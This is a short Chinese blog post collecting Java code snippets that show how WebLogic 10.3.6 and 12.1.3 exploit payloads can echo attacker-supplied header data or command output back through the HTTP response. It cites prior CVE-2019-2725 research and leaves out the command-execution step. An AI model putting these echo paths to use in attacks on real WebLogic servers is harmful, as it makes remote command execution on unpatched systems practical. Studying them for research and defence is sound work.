zoukankan      html  css  js  c++  java
  • 整理一下weblogic回显的代码

    这些回显的路径与取值是市面上已经公开的,此文是为了补充前几天所说的jetty的中间件回显。

    提供的代码只是提供了回显的路径,并没有加上runtime,这块请自行添加。

    weblogic10.3.6

    1 String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
    2 weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
    3 weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
    4 outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
    5 outputStream.flush();
    6 response.getWriter().write("");

    weblogic12.1.3

    1 java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
    2 field.setAccessible(true);
    3 HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
    4 httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

    其实这块代码在2725的回显里已经被人提出,我是搬运过来记录整理。

    原文见:https://xz.aliyun.com/t/5299#toc-9

  • 相关阅读:
    HappyLeetcode45:Divide Two Integers
    HappyLeetcode44:Plus One
    HappyLeetcode43:Symmetric Tree
    HappyLeetcode42:Intersection of Two Linked Lists
    特征向量中心性(从文献中摘抄)
    二叉树(普通无规律)
    链式队列
    链式栈
    链表
    指针
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/12802851.html
Copyright © 2011-2022 走看看